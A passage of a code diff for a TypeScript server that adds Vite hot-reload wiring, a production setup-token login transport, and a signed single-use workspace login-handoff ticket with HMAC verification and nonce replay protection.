+import { environmentRuntimeService } from "./services/environment-runtime.js";
 import { projectRoutes } from "./routes/projects.js";
 import { issueRoutes } from "./routes/issues.js";
 import { issueTreeControlRoutes } from "./routes/issue-tree-control.js";
@@ -131,18 +141,43 @@ export function isDatabaseConnectionUnavailableError(err: unknown): boolean {
 }
 
 export function resolveViteHmrPort(serverPort: number): number {
-  if (serverPort <= 55_535) {
-    return serverPort + 10_000;
-  }
-  return Math.max(1_024, serverPort - 10_000);
+  return derivePaperclipViteHmrPort(serverPort);
 }
 
 export function resolveViteHmrHost(bindHost: string): string | undefined {
   const normalized = bindHost.trim().toLowerCase();
-  if (normalized === "0.0.0.0" || normalized === "::") return undefined;
+  if (
+    normalized === "0.0.0.0"
+    || normalized === "::"
+    || normalized === "127.0.0.1"
+    || normalized === "::1"
+    || normalized === "localhost"
+  ) return undefined;
   return bindHost;
 }
 
+export function resolveViteHmrProtocol(value: string | undefined): "ws" | "wss" | undefined {
+  if (!value) return undefined;
+  if (value === "ws" || value === "wss") return value;
+  throw new Error("PAPERCLIP_VITE_HMR_PROTOCOL must be ws or wss");
+}
+
+export function listenViteHmrServer(server: HttpServer, port: number, bindHost: string): Promise<void> {
+  return new Promise((resolve, reject) => {
+    const onError = (error: Error) => {
+      server.off("listening", onListening);
+      reject(error);
+    };
+    const onListening = () => {
+      server.off("error", onError);
+      resolve();
+    };
+    server.once("error", onError);
+    server.once("listening", onListening);
+    server.listen(port, bindHost);
+  });
+}
+
 export function shouldServeViteDevHtml(req: ExpressRequest): boolean {
   const pathname = req.path;
   if (VITE_DEV_STATIC_PATHS.has(pathname)) return false;
@@ -400,25 +435,68 @@ export async function createApp(
     .split(",")
     .map((entry) => entry.trim())
     .filter((entry) => entry.length > 0);
-  // The production server does not bind `setupTokenLogin` yet, so the start route
-  // fails closed with a fixed no-secret 503 and the login never spawns a process
-  // or holds a lease. This is a deliberate staged rollout: the live transport
-  // needs a real sandbox-lease manager, a live pseudo-terminal factory over the
-  // sandbox provider, and a durable cleanup store (the in-router default store is
-  // in-memory only). Each of those is a separate follow-up that goes through its
-  // own security review before the production server binds `setupTokenLogin`.
+  // The explicit operator declaration that a platform edge terminates TLS for
+  // every client request (SR-7). This complements the allowlist for managed
+  // platforms (Railway, Render, Fly, and the like) where the app socket is
+  // always plain HTTP and the edge-proxy peer addresses are not stable or
+  // documented, so `CLAUDE_LOGIN_TRUSTED_PROXIES` cannot express them. It is a
+  // dedicated, single-purpose setting; the guard still never reads the global
+  // `TRUST_PROXY` value.
+  const setupTokenLoginEdgeTlsTerminated = /^(1|true|yes|on)$/i.test(
+    (process.env.CLAUDE_LOGIN_EDGE_TLS_TERMINATED ?? "").trim(),
+  );
+  // Bind the production setup-token login transport. It carries the live lease
+  // manager, the login-process factory over the sandbox pseudo-terminal, and the
+  // durable cleanup store. The factory passes only the fixed command
+  // `CLAUDE_SETUP_TOKEN_COMMAND`; it never reads a command from a
+  // route, a request body, or an adapter configuration. The durable store and the
+  // startup reaper are live now, so a restart reaps a leftover lease.
+  //
+  // The live sandbox pseudo-terminal opener binds inside the sandbox provider
+  // worker, so the server process does not hold the raw sandbox process. The
+  // opener drives the worker through the plugin worker manager route gate.
+  // The manager mints a host-owned route identifier, permits one
+  // active credential pseudo-terminal per worker, binds the worker session
+  // identifier one time for output only, and terminalizes the route on every open
+  // failure path. With the opener supplied, the provider acquires a lease and the
+  // start route drives a live login instead of the fixed 503.
+  const setupTokenLoginTransport = buildSetupTokenLoginTransport({
+    sandbox: createProductionSetupTokenSandboxProvider({
+      environments: environmentService(db),
+      environmentRuntime: environmentRuntimeService(db, { pluginWorkerManager: workerManager }),
+      openLivePtySession: createWorkerBoundSetupTokenPtyOpener({
+        workerManager,
+        environments: environmentService(db),
+        log: (line) => logger.info(line),
+      }),
+      log: (line) => logger.info(line),
+    }),
+    store: createProductionSetupTokenCleanupStore(db),
+    // Bind the atomic credential-claim writer, so a completed login transitions
+    // the durable row to `stored` and stores the minted token in one control-plane
+    // transaction. The writer reads the company and the owner only from the
+    // immutable session scope. The confirm-replacement flow owns rotation. Without
+    // this writer the router falls back to the deferred, fail-closed 503 and never
+    // stores the token.
+    completeCredential: createSetupTokenSecretWriter({ db }),
+    // Forward the login runner diagnostic lines to the server logger. The
+    // runner is the sole producer, and every line is a fixed, non-secret
+    // literal. Without this sink the diagnostics fall back to a no-op in
+    // production, so a failed login leaves no log trail.
+    log: (line) => logger.info(line),
+  });
   api.use(
     agentRoutes(db, {
       pluginWorkerManager: workerManager,
       deploymentMode: opts.deploymentMode,
       confidentialProxyAllowlist: setupTokenLoginProxyAllowlist,
+      confidentialEdgeTlsTerminated: setupTokenLoginEdgeTlsTerminated,
+      setupTokenLogin: setupTokenLoginTransport,
       onSetupTokenLoginService: (service) => {
+        // Capture the service, so the graceful-shutdown hook cancels every live
+        // session and releases each lease. The standalone scheduled reaper owns
+        // the startup and interval lease cleanup now (SR-4).
         setupTokenLoginService = service;
-        // Startup reaper (SR-4): release any lease whose login session is
-        // terminal or past its deadline after a restart. The DB is ready here.
-        void service.reap().catch((err) => {
-          logger.error({ err }, "Setup-token login startup reaper failed");
-        });
       },
     }),
   );
@@ -512,6 +590,8 @@ export async function createApp(
   });
   const hostServiceCleanup = createPluginHostServiceCleanup(lifecycle, hostServicesDisposers);
   let viteHtmlRenderer: ReturnType<typeof createCachedViteHtmlRenderer> | null = null;
+  let viteDevServer: { close(): Promise<void> } | null = null;
+  let viteHmrServer: HttpServer | null = null;
   const loader = pluginLoader(
     db,
     {
@@ -642,20 +722,39 @@ export async function createApp(
     const publicUiRoot = path.resolve(uiRoot, "public");
     const hmrPort = resolveViteHmrPort(opts.serverPort);
     const hmrHost = resolveViteHmrHost(opts.bindHost);
+    const hmrProtocol = resolveViteHmrProtocol(process.env.PAPERCLIP_VITE_HMR_PROTOCOL);
+    const hmrServer = createHttpServer((_req, res) => {
+      res.writeHead(426, { "Content-Type": "text/plain" });
+      res.end("Upgrade Required");
+    });
     const { createServer: createViteServer } = await import("vite");
     const vite = await createViteServer({
       root: uiRoot,
       appType: "custom",
       server: {
+        // Listener binding and browser HMR hostname are deliberately separate:
+        // exposed branch runtimes stay loopback-only while the browser uses the
+        // current MagicDNS hostname through the broker's HTTPS listener.
+        host: opts.bindHost,
         middlewareMode: true,
         hmr: {
+          server: hmrServer,
           ...(hmrHost ? { host: hmrHost } : {}),
+          ...(hmrProtocol ? { protocol: hmrProtocol } : {}),
           port: hmrPort,
           clientPort: hmrPort,
         },
         allowedHosts: privateHostnameGateEnabled ? Array.from(privateHostnameAllowSet) : undefined,
       },
     });
+    try {
+      await listenViteHmrServer(hmrServer, hmrPort, opts.bindHost);
+    } catch (error) {
+      await vite.close();
+      throw error;
+    }
+    viteDevServer = vite;
+    viteHmrServer = hmrServer;
     viteHtmlRenderer = createCachedViteHtmlRenderer({
       vite,
       uiRoot,
@@ -818,26 +917,40 @@ export async function createApp(
     logger.error({ err }, "Failed to load ready plugins on startup");
   });
   app.locals.bundledPluginsStartup = bundledPluginsStartup;
-  let appServicesShutdown = false;
-  const shutdownAppServices = () => {
-    if (appServicesShutdown) return;
-    appServicesShutdown = true;
-    disableFeedbackExportFlushes();
-    if (importTransferSweepTimer) {
-      clearInterval(importTransferSweepTimer);
-      importTransferSweepTimer = null;
-    }
-    devWatcher?.close();
-    viteHtmlRenderer?.dispose();
-    hostServiceCleanup.disposeAll();
-    hostServiceCleanup.teardown();
-    // Cancel every live setup-token login session, so each direct child stops
-    // before the server releases each lease (SR-4).
-    void setupTokenLoginService?.shutdown();
+  // The shutdown hook runs at most once. It caches the in-flight promise, so a
+  // second caller (for example the `exit` handler) awaits the same completion
+  // instead of starting a second teardown.
+  let appServicesShutdown: Promise<void> | null = null;
+  const shutdownAppServices = (): Promise<void> => {
+    if (appServicesShutdown) return appServicesShutdown;
+    appServicesShutdown = (async () => {
+      disableFeedbackExportFlushes();
+      if (importTransferSweepTimer) {
+        clearInterval(importTransferSweepTimer);
+        importTransferSweepTimer = null;
+      }
+      devWatcher?.close();
+      viteHtmlRenderer?.dispose();
+      void viteDevServer?.close().catch(() => undefined);
+      viteHmrServer?.close();
+      hostServiceCleanup.disposeAll();
+      hostServiceCleanup.teardown();
+      // Cancel every live setup-token login session and AWAIT the cancellation,
+      // so each direct child stops and the server releases each lease before the
+      // caller stops the database and the provider. A lease release that
+      // fails stays a durable record for the startup reaper.
+      await setupTokenLoginService?.shutdown();
+    })();
+    return appServicesShutdown;
   };
   app.locals.paperclipShutdown = shutdownAppServices;
 
-  process.once("exit", shutdownAppServices);
+  // The `exit` event is synchronous. It cannot await the teardown, so it runs
+  // the best-effort cleanup and drops the returned promise. The orderly signal
+  // path awaits `shutdownAppServices` in full before the process exits.
+  process.once("exit", () => {
+    void shutdownAppServices();
+  });
   process.once("beforeExit", () => {
     void flushPluginLogBuffer();
   });
diff --git a/server/src/auth/better-auth.ts b/server/src/auth/better-auth.ts
index 4f8d91b64a2..c367ffd3ac7 100644
--- a/server/src/auth/better-auth.ts
+++ b/server/src/auth/better-auth.ts
@@ -12,6 +12,16 @@ import {
 } from "@paperclipai/db";
 import type { Config } from "../config.js";
 import { resolvePaperclipInstanceId } from "../home-paths.js";
+import {
+  workspaceLoginHandoffPlugin,
+  type WorkspaceHandoffExpectedIdentity,
+} from "./workspace-login-handoff-plugin.js";
+import {
+  normalizeWorkspaceHandoffOrigin,
+  resolveWorkspaceHandoffLocalCompanyId,
+  resolveWorkspaceHandoffLocalKey,
+  resolveWorkspaceHandoffLocalWorkspaceId,
+} from "./workspace-login-handoff.js";
 
 export type BetterAuthSessionUser = {
   id: string;
@@ -144,6 +154,34 @@ export function deriveAuthTrustedOrigins(config: Config, opts?: { listenPort?: n
   return Array.from(trustedOrigins);
 }
 
+/**
+ * Identity a managed workspace instance compares an inbound handoff ticket
+ * against. Every field comes from persisted configuration or injected runtime
+ * identity — never from request headers — so a spoofed `X-Forwarded-Host` or
+ * Tailscale identity header cannot retarget a ticket. Returns null when this
+ * process was not started as a managed workspace, which leaves the exchange
+ * endpoint unregistered.
+ */
+export function resolveWorkspaceHandoffIdentity(
+  config: Config,
+  env: NodeJS.ProcessEnv = process.env,
+): WorkspaceHandoffExpectedIdentity | null {
+  const key = resolveWorkspaceHandoffLocalKey(env);
+  if (!key) return null;
+  const configuredOrigin =
+    normalizeWorkspaceHandoffOrigin(env.PAPERCLIP_PUBLIC_URL)
+    ?? (config.authBaseUrlMode === "explicit"
+      ? normalizeWorkspaceHandoffOrigin(config.authPublicBaseUrl)
+      : null);
+  return {
+    key,
+    instanceId: resolvePaperclipInstanceId(),
+    executionWorkspaceId: resolveWorkspaceHandoffLocalWorkspaceId(env),
+    companyId: resolveWorkspaceHandoffLocalCompanyId(env),
+    origin: configuredOrigin,
+  };
+}
+
 export function createBetterAuthInstance(db: Db, config: Config, trustedOrigins: string[]): BetterAuthInstance {
   const baseUrl = config.authBaseUrlMode === "explicit" ? config.authPublicBaseUrl : undefined;
   const publicUrl = process.env.PAPERCLIP_PUBLIC_URL?.trim() || baseUrl;
@@ -186,6 +224,28 @@ export function createBetterAuthInstance(db: Db, config: Config, trustedOrigins:
       override: process.env.PAPERCLIP_AUTH_RATE_LIMIT_ENABLED,
     }),
     advanced: buildBetterAuthAdvancedOptions({ disableSecureCookies }),
+    // Registered only for a managed workspace instance: the plugin is what makes
+    // `Open workspace` password-independent, and a control-plane instance that
+    // was never handed a workspace key must not expose the exchange at all.
+    ...(resolveWorkspaceHandoffIdentity(config)
+      ? {
+          plugins: [
+            workspaceLoginHandoffPlugin({
+              db,
+              // Re-resolved per exchange so a hot restart cannot keep validating
+              // against an origin the control plane has since republished.
+              resolveExpectedIdentity: () =>
+                resolveWorkspaceHandoffIdentity(config) ?? {
+                  key: null,
+                  instanceId: null,
+                  executionWorkspaceId: null,
+                  companyId: null,
+                  origin: null,
+                },
+            }),
+          ],
+        }
+      : {}),
   };
 
   if (!baseUrl) {
diff --git a/server/src/auth/workspace-login-handoff-exchange.ts b/server/src/auth/workspace-login-handoff-exchange.ts
new file mode 100644
index 00000000000..5a85cf176f9
--- /dev/null
+++ b/server/src/auth/workspace-login-handoff-exchange.ts
@@ -0,0 +1,127 @@
+/**
+ * Ticket exchange, isolated from Better Auth and Express so the whole
+ * security matrix (replay, expiry, wrong user/origin/workspace/instance,
+ * missing membership, spoofed forwarded headers) is unit-testable.
+ *
+ * Every dependency is injected. The caller supplies expected identity from
+ * *configuration*; this module never reads request headers, which is what makes
+ * forwarded-header spoofing structurally impossible rather than merely checked.
+ */
+
+import {
+  sanitizeWorkspaceHandoffRedirectPath,
+  verifyWorkspaceHandoffTicket,
+  type WorkspaceHandoffTicketPayload,
+  type WorkspaceHandoffVerificationFailure,
+} from "./workspace-login-handoff.js";
+
+export type WorkspaceHandoffClonedIdentity = {
+  userId: string;
+  email: string | null;
+  name?: string | null;
+  /**
+   * Whether the cloned user has an active membership **in the ticket's company**.
+   * An unscoped "has some membership" answer would let the exchange hand out a
+   * session with no access to the board the caller was opening.
+   */
+  hasActiveMembership: boolean;
+};
+
+export type WorkspaceHandoffExchangeDeps = {
+  /** Resolve the cloned user by the id the ticket names, scoped to its company. */
+  findClonedIdentity: (
+    input: { userId: string; companyId: string },
+  ) => Promise<WorkspaceHandoffClonedIdentity | null>;
+  /**
+   * Record the nonce, returning false when it was already recorded.
+   * Must be atomic: this is the only defense against a same-window replay.
+   */
+  reserveNonce: (input: { nonce: string; expiresAt: Date }) => Promise<boolean>;
+  /** Create an instance-scoped session for the verified cloned user. */
+  createSession: (userId: string) => Promise<void>;
+};
+
+export type WorkspaceHandoffExchangeFailureReason =
+  | WorkspaceHandoffVerificationFailure
+  | "replayed"
+  | "unknown_user"
+  | "user_mismatch"
+  | "missing_membership"
+  | "session_failed";
+
+export type WorkspaceHandoffExchangeResult =
+  | { ok: true; redirectTo: string; payload: WorkspaceHandoffTicketPayload }
+  | { ok: false; reason: WorkspaceHandoffExchangeFailureReason; payload: WorkspaceHandoffTicketPayload | null };
+
+/**
+ * HTTP status for a failed exchange.
+ *
+ * `not_configured` is the only server-fault case (the guest was started without
+ * a key); everything else is a rejected credential and answers 401 so an
+ * attacker cannot distinguish "wrong workspace" from "expired" by status alone.
+ */
+export function workspaceHandoffFailureStatus(reason: WorkspaceHandoffExchangeFailureReason): number {
+  if (reason === "not_configured") return 503;
+  if (reason === "session_failed") return 500;
+  return 401;
+}
+
+/**
+ * Whether a failure means the workspace itself needs repair rather than the
+ * caller needing a fresh ticket. The UI turns these into an explicit
+ * "clone is incomplete" state instead of a generic sign-in error.
+ */
+export function isWorkspaceHandoffRepairReason(reason: WorkspaceHandoffExchangeFailureReason): boolean {
+  return reason === "unknown_user" || reason === "missing_membership" || reason === "user_mismatch";
+}
+
+export async function exchangeWorkspaceHandoffTicket(input: {
+  ticket: string | null | undefined;
+  key: string | null | undefined;
+  expected: {
+    instanceId: string | null;
+    executionWorkspaceId: string | null;
+    companyId: string | null;
+    origin: string | null;
+  };
+  deps: WorkspaceHandoffExchangeDeps;
+  now?: Date;
+}): Promise<WorkspaceHandoffExchangeResult> {
+  const verification = verifyWorkspaceHandoffTicket({
+    ticket: input.ticket,
+    key: input.key,
+    expected: input.expected,
+    now: input.now,
+  });
+  if (!verification.ok) return { ok: false, reason: verification.reason, payload: null };
+  const payload = verification.payload;
+
+  const identity = await input.deps.findClonedIdentity({ userId: payload.sub, companyId: payload.cid });
+  if (!identity) return { ok: false, reason: "unknown_user", payload };
+  // The email is bound into the signature, so a mismatch means the clone drifted
+  // from the source instance (a reused id after a reseed), not a forged ticket.
+  if ((identity.email ?? "").trim().toLowerCase() !== payload.email.trim().toLowerCase()) {
+    return { ok: false, reason: "user_mismatch", payload };
+  }
+  if (!identity.hasActiveMembership) return { ok: false, reason: "missing_membership", payload };
+
+  // Reserve last: an identity failure must stay retryable after a repair, while a
+  // ticket that got far enough to mint a session is burned even if that mint fails.
+  const reserved = await input.deps.reserveNonce({
+    nonce: payload.jti,
+    expiresAt: new Date(payload.exp * 1000),
+  });
+  if (!reserved) return { ok: false, reason: "replayed", payload };
+
+  try {
+    await input.deps.createSession(identity.userId);
+  } catch {
+    return { ok: false, reason: "session_failed", payload };
+  }
+
+  return {
+    ok: true,
+    redirectTo: sanitizeWorkspaceHandoffRedirectPath(payload.next),
+    payload,
+  };
+}
diff --git a/server/src/auth/workspace-login-handoff-plugin.ts b/server/src/auth/workspace-login-handoff-plugin.ts
new file mode 100644
index 00000000000..46248b4922c
--- /dev/null
+++ b/server/src/auth/workspace-login-handoff-plugin.ts
@@ -0,0 +1,222 @@
+/**
+ * Better Auth plugin that exchanges a signed workspace login handoff ticket for
+ * an instance-scoped session (PAP-17572).
+ *
+ * Implemented as a plugin endpoint rather than a hand-rolled Express route so
+ * session creation and cookie signing go through Better Auth's own supported
+ * path (`internalAdapter.createSession` + `setSessionCookie`) instead of this
+ * repository reimplementing cookie signing.
+ *
+ * The endpoint is only registered when the process was handed a per-workspace
+ * verification key, so a normal control-plane instance exposes no extra surface.
+ */
+
+import { and, eq } from "drizzle-orm";
+import { setSessionCookie } from "better-auth/cookies";
+import { createAuthEndpoint } from "better-auth/api";
+import type { Session, User } from "better-auth/types";
+import type { Db } from "@paperclipai/db";
+import { companyMemberships } from "@paperclipai/db";
+import { logger } from "../middleware/logger.js";
+import {
+  exchangeWorkspaceHandoffTicket,
+  isWorkspaceHandoffRepairReason,
+  type WorkspaceHandoffExchangeFailureReason,
+} from "./workspace-login-handoff-exchange.js";
+import {
+  WORKSPACE_HANDOFF_EXCHANGE_PATH,
+  WORKSPACE_HANDOFF_TICKET_QUERY_PARAM,
+  workspaceHandoffKeyFingerprint,
+} from "./workspace-login-handoff.js";
+
+/**
+ * Identity the guest expects, resolved from persisted configuration.
+ *
+ * Deliberately a callback: it is re-read per exchange so a hot-restarted guest
+ * cannot keep validating against a stale origin, and it keeps request headers
+ * out of the comparison entirely.
+ */
+export type WorkspaceHandoffExpectedIdentity = {
+  key: string | null;
+  instanceId: string | null;
+  executionWorkspaceId: string | null;
+  companyId: string | null;
+  origin: string | null;
+};
+
+/**
+ * The slice of Better Auth's endpoint context this exchange uses.
+ *
+ * Declared structurally rather than importing the library's deeply generic
+ * `GenericEndpointContext`, whose inference depends on the plugin's own option
+ * types. Narrowing here keeps the handler body fully type-checked; the single
+ * cast at the top of the handler is the only unchecked step.
+ */
+type WorkspaceHandoffEndpointContext = {
+  query?: Record<string, unknown>;
+  setHeader: (name: string, value: string) => void;
+  redirect: (url: string) => unknown;
+  error: (status: string, body?: Record<string, unknown>) => unknown;
+  context: {
+    internalAdapter: {
+      findUserById: (userId: string) => Promise<User | null>;
+      createSession: (userId: string) => Promise<Session | null>;
+      findVerificationValue: (identifier: string) => Promise<{ identifier: string } | null>;
+      reserveVerificationValue: (data: {
+        identifier: string;
+        value: string;
+        expiresAt: Date;
+      }) => Promise<boolean>;
+    };
+  };
+};
+
+/** Where a rejected ticket lands the browser: the labeled snapshot-local fallback. */
+function buildFallbackRedirect(input: {
+  baseUrl: string | undefined;
+  next: string;
+  reason: WorkspaceHandoffExchangeFailureReason;
+}): string {
+  const target = new URL("/auth", input.baseUrl ?? "http://localhost");
+  target.searchParams.set("next", input.next);
+  target.searchParams.set("workspaceHandoffError", input.reason);
+  return input.baseUrl ? target.toString() : `${target.pathname}${target.search}`;
+}
+
+export function workspaceLoginHandoffPlugin(deps: {
+  db: Db;
+  resolveExpectedIdentity: () => WorkspaceHandoffExpectedIdentity;
+}) {
+  return {
+    id: "paperclip-workspace-login-handoff",
+    endpoints: {
+      exchangeWorkspaceLoginHandoff: createAuthEndpoint(
+        WORKSPACE_HANDOFF_EXCHANGE_PATH,
+        { method: "GET", requireHeaders: true },
+        async (endpointContext) => {
+          const ctx = endpointContext as unknown as WorkspaceHandoffEndpointContext;
+          const expected = deps.resolveExpectedIdentity();
+          const rawTicket = ctx.query?.[WORKSPACE_HANDOFF_TICKET_QUERY_PARAM];
+          const ticket = typeof rawTicket === "string" ? rawTicket : null;
+
+          // `no-store` keeps the ticket-bearing response out of shared caches and
+          // `no-referrer` stops the ticket URL from leaking to the landing page.
+          ctx.setHeader("Cache-Control", "no-store");
+          ctx.setHeader("Referrer-Policy", "no-referrer");
+
+          const result = await exchangeWorkspaceHandoffTicket({
+            ticket,
+            key: expected.key,
+            expected: {
+              instanceId: expected.instanceId,
+              executionWorkspaceId: expected.executionWorkspaceId,
+              companyId: expected.companyId,
+              origin: expected.origin,
+            },
+            deps: {
+              findClonedIdentity: async ({ userId, companyId }) => {
+                const user = await ctx.context.internalAdapter.findUserById(userId);
+                if (!user) return null;
+                // Membership lives in Paperclip's own schema, so it is read
+                // through the app's `db` handle rather than the Better Auth
+                // adapter. Scoped to the ticket's company: an unscoped check
+                // would accept a clone where this user belongs to some *other*
+                // company and hand them a session with no access to the board
+                // they opened. Existence, not a count.
+                const activeMemberships = await deps.db
+                  .select({ id: companyMemberships.id })
+                  .from(companyMemberships)
+                  .where(
+                    and(
+                      eq(companyMemberships.companyId, companyId),
+                      eq(companyMemberships.principalType, "user"),
+                      eq(companyMemberships.principalId, userId),
+                      eq(companyMemberships.status, "active"),
+                    ),
+                  )
+                  .limit(1)
+                  .then((rows) => rows.length);
+                return {
+                  userId: user.id,
+                  email: user.email ?? null,
+                  name: user.name ?? null,
+                  hasActiveMembership: activeMemberships > 0,
+                };
+              },
+              reserveNonce: async ({ nonce, expiresAt }) => {
+                const identifier = `workspace-login-handoff:${nonce}`;
+                // Two layers, because each covers a case the other misses. The
+                // lookup catches an ordinary sequential replay on any storage
+                // backend; the reservation is a primary-key insert, so it is the
+                // one that survives two exchanges racing inside the TTL. Relying
+                // on the reservation alone would silently depend on the
+                // configured adapter enforcing id uniqueness.
+                if (await ctx.context.internalAdapter.findVerificationValue(identifier)) return false;
+                return await ctx.context.internalAdapter.reserveVerificationValue({
+                  identifier,
+                  value: "consumed",
+                  // Keep the record slightly past the ticket's own expiry so a
+                  // replay attempted at the very edge of the window still loses.
+                  expiresAt: new Date(expiresAt.getTime() + 60_000),
+                });
+              },
+              createSession: async (userId) => {
+                const user = await ctx.context.internalAdapter.findUserById(userId);
+                if (!user) throw new Error("cloned user disappeared between verification and session creation");
+                const session = await ctx.context.internalAdapter.createSession(userId);
+                if (!session) throw new Error("Better Auth did not return a session");
+                await setSessionCookie(ctx as never, { session, user });
+              },
+            },
+          });
+
+          if (!result.ok) {
+            // Audit with the nonce and reason but never the ticket itself.
+            logger.warn(
+              {
+                reason: result.reason,
+                nonce: result.payload?.jti ?? null,
+                executionWorkspaceId: expected.executionWorkspaceId,
+                instanceId: expected.instanceId,
+                keyFingerprint: expected.key ? workspaceHandoffKeyFingerprint(expected.key) : null,
+                needsRepair: isWorkspaceHandoffRepairReason(result.reason),
+              },
+              "workspace login handoff rejected",
+            );
+            if (result.reason === "not_configured" || result.reason === "session_failed") {
+              throw ctx.error(result.reason === "not_configured" ? "SERVICE_UNAVAILABLE" : "INTERNAL_SERVER_ERROR", {
+                message: "Workspace login handoff is unavailable",
+                code: result.reason,
+              });
+            }
+            throw ctx.redirect(
+              buildFallbackRedirect({
+                baseUrl: expected.origin ?? undefined,
+                next: result.payload?.next ?? "/",
+                reason: result.reason,
+              }),
+            );
+          }
+
+          logger.info(
+            {
+              nonce: result.payload.jti,
+              userId: result.payload.sub,
+              executionWorkspaceId: expected.executionWorkspaceId,
+              instanceId: expected.instanceId,
+              issuerInstanceId: result.payload.iss,
+            },
+            "workspace login handoff accepted",
+          );
+          // An HTTP redirect (not a client-side navigation) is what keeps the
+          // ticket URL out of the browser's session history.
+          throw ctx.redirect(
+            expected.origin
+              ? new URL(result.redirectTo, expected.origin).toString()
+              : result.redirectTo,
+          );
+        },
+      ),
+    },
+  };
+}
diff --git a/server/src/auth/workspace-login-handoff.ts b/server/src/auth/workspace-login-handoff.ts
new file mode 100644
index 00000000000..593f98469c6
--- /dev/null
+++ b/server/src/auth/workspace-login-handoff.ts
@@ -0,0 +1,406 @@
+/**
+ * Signed workspace login handoff (PAP-17572).
+ *
+ * A board user opening a managed workspace must not have to know which cloned
+ * password is current. The authenticated main control plane mints a short-lived,
+ * single-use ticket; the isolated workspace verifies it against its own copy of
+ * the signing key and creates its own instance-scoped session.
+ *
+ * Threat model notes that drive the shape below:
+ *
+ *  - **Nothing browser-supplied is trusted.** The audience is the origin the
+ *    control plane published for that runtime and the workspace compares it
+ *    against its *configured* public origin. `Host`, `X-Forwarded-Host`,
+ *    `X-Forwarded-Proto` and Tailscale identity headers are never consulted, so
+ *    a spoofed forwarded header cannot retarget or authorize a ticket.
+ *  - **Keys are per workspace.** The control plane keeps the root secret and
+ *    hands each guest only `HMAC(root, instanceId|executionWorkspaceId)`. A
+ *    compromised workspace therefore cannot mint a ticket for a sibling
+ *    workspace, and the guest never sees material that would let it do so.
+ *  - **Replay is bounded twice.** A short expiry limits the window and the
+ *    workspace records the nonce on first use, so a captured ticket cannot be
+ *    exchanged a second time even inside that window.
+ */
+
+import { createHmac, randomBytes, timingSafeEqual } from "node:crypto";
+
+/** Ticket envelope version. Bumped whenever the signed payload shape changes. */
+export const WORKSPACE_HANDOFF_TICKET_VERSION = "wh1";
+
+/**
+ * Default ticket lifetime. Long enough for a click plus a cold guest response,
+ * short enough that a ticket leaked through a proxy log is worthless.
+ */
+export const WORKSPACE_HANDOFF_TICKET_TTL_SECONDS = 90;
+
+/** Tolerated clock skew between the control plane and the isolated workspace. */
+export const WORKSPACE_HANDOFF_CLOCK_SKEW_SECONDS = 30;
+
+/** Path the guest exposes for the exchange, relative to the Better Auth mount. */
+export const WORKSPACE_HANDOFF_EXCHANGE_PATH = "/workspace-handoff/exchange";
+
+/** Query parameter carrying the ticket. Redacted from request logs by name. */
+export const WORKSPACE_HANDOFF_TICKET_QUERY_PARAM = "ticket";
+
+const HANDOFF_KEY_ENV = "PAPERCLIP_WORKSPACE_HANDOFF_KEY";
+const HANDOFF_ROOT_SECRET_ENV = "PAPERCLIP_WORKSPACE_HANDOFF_SECRET";
+const READINESS_TOKEN_ENV = "PAPERCLIP_WORKSPACE_READINESS_TOKEN";
+const EXECUTION_WORKSPACE_ID_ENV = "PAPERCLIP_EXECUTION_WORKSPACE_ID";
+const EXECUTION_WORKSPACE_COMPANY_ID_ENV = "PAPERCLIP_EXECUTION_WORKSPACE_COMPANY_ID";
+
+export const WORKSPACE_HANDOFF_KEY_ENV_KEY = HANDOFF_KEY_ENV;
+export const WORKSPACE_READINESS_TOKEN_ENV_KEY = READINESS_TOKEN_ENV;
+export const WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY = EXECUTION_WORKSPACE_ID_ENV;
+export const WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY = EXECUTION_WORKSPACE_COMPANY_ID_ENV;
+export const WORKSPACE_READINESS_TOKEN_HEADER = "x-paperclip-workspace-readiness-token";
+export const WORKSPACE_READINESS_USER_ID_HEADER = "x-paperclip-workspace-readiness-user-id";
+export const WORKSPACE_READINESS_USER_EMAIL_HEADER = "x-paperclip-workspace-readiness-user-email";
+
+export type WorkspaceHandoffTicketPayload = {
+  /** Envelope version. */
+  v: typeof WORKSPACE_HANDOFF_TICKET_VERSION;
+  /** Single-use nonce; the guest records it on first exchange. */
+  jti: string;
+  /** Cloned user id the guest must sign in. */
+  sub: string;
+  /** Expected email of that cloned user, compared case-insensitively. */
+  email: string;
+  /** Execution workspace the ticket is scoped to. */
+  ws: string;
+  /**
+   * Company whose board this workspace represents.
+   *
+   * Bound because "the cloned user has *some* active membership" is not the
+   * question worth asking: a multi-company clone can satisfy it while leaving the
+   * signed-in user with no access to the company they were opening, which lands
+   * them on an empty board with no explanation.
+   */
+  cid: string;
+  /** Isolated instance id the ticket is scoped to. */
+  iid: string;
+  /** Origin the control plane published for this runtime. */
+  aud: string;
+  /** Issuing instance id, recorded for audit. */
+  iss: string;
+  /** Seconds since epoch. */
+  iat: number;
+  exp: number;
+  /** Relative path to land on after the exchange. */
+  next: string;
+};
+
+export type WorkspaceHandoffVerificationFailure =
+  | "not_configured"
+  | "malformed"
+  | "unsupported_version"
+  | "bad_signature"
+  | "expired"
+  | "not_yet_valid"
+  | "origin_mismatch"
+  | "instance_mismatch"
+  | "workspace_mismatch"
+  | "company_mismatch";
+
+export type WorkspaceHandoffVerificationResult =
+  | { ok: true; payload: WorkspaceHandoffTicketPayload }
+  | { ok: false; reason: WorkspaceHandoffVerificationFailure };
+
+function base64UrlEncode(value: Buffer): string {
+  return value.toString("base64url");
+}
+
+function base64UrlDecode(value: string): Buffer | null {
+  // `Buffer.from` silently drops invalid characters, so round-trip to prove the
+  // input really was canonical base64url before trusting the bytes.
+  if (!/^[A-Za-z0-9_-]+$/.test(value)) return null;
+  const decoded = Buffer.from(value, "base64url");
+  if (decoded.length === 0) return null;
+  return base64UrlEncode(decoded) === value ? decoded : null;
+}
+
+function sign(key: string, message: string): Buffer {
+  return createHmac("sha256", key).update(message).digest();
+}
+
+function constantTimeMatches(expected: Buffer, provided: Buffer): boolean {
+  if (expected.length !== provided.length) return false;
+  return timingSafeEqual(expected, provided);
+}
+
+/**
+ * Normalize an origin for comparison: scheme + host + explicit non-default port.
+ * Returns null when the input is not an absolute http(s) URL, so an unparseable
+ * or relative value can never accidentally compare equal.
+ */
+export function normalizeWorkspaceHandoffOrigin(value: string | null | undefined): string | null {
+  const trimmed = value?.trim();
+  if (!trimmed) return null;
+  let parsed: URL;
+  try {
+    parsed = new URL(trimmed);
+  } catch {
+    return null;
+  }
+  if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return null;
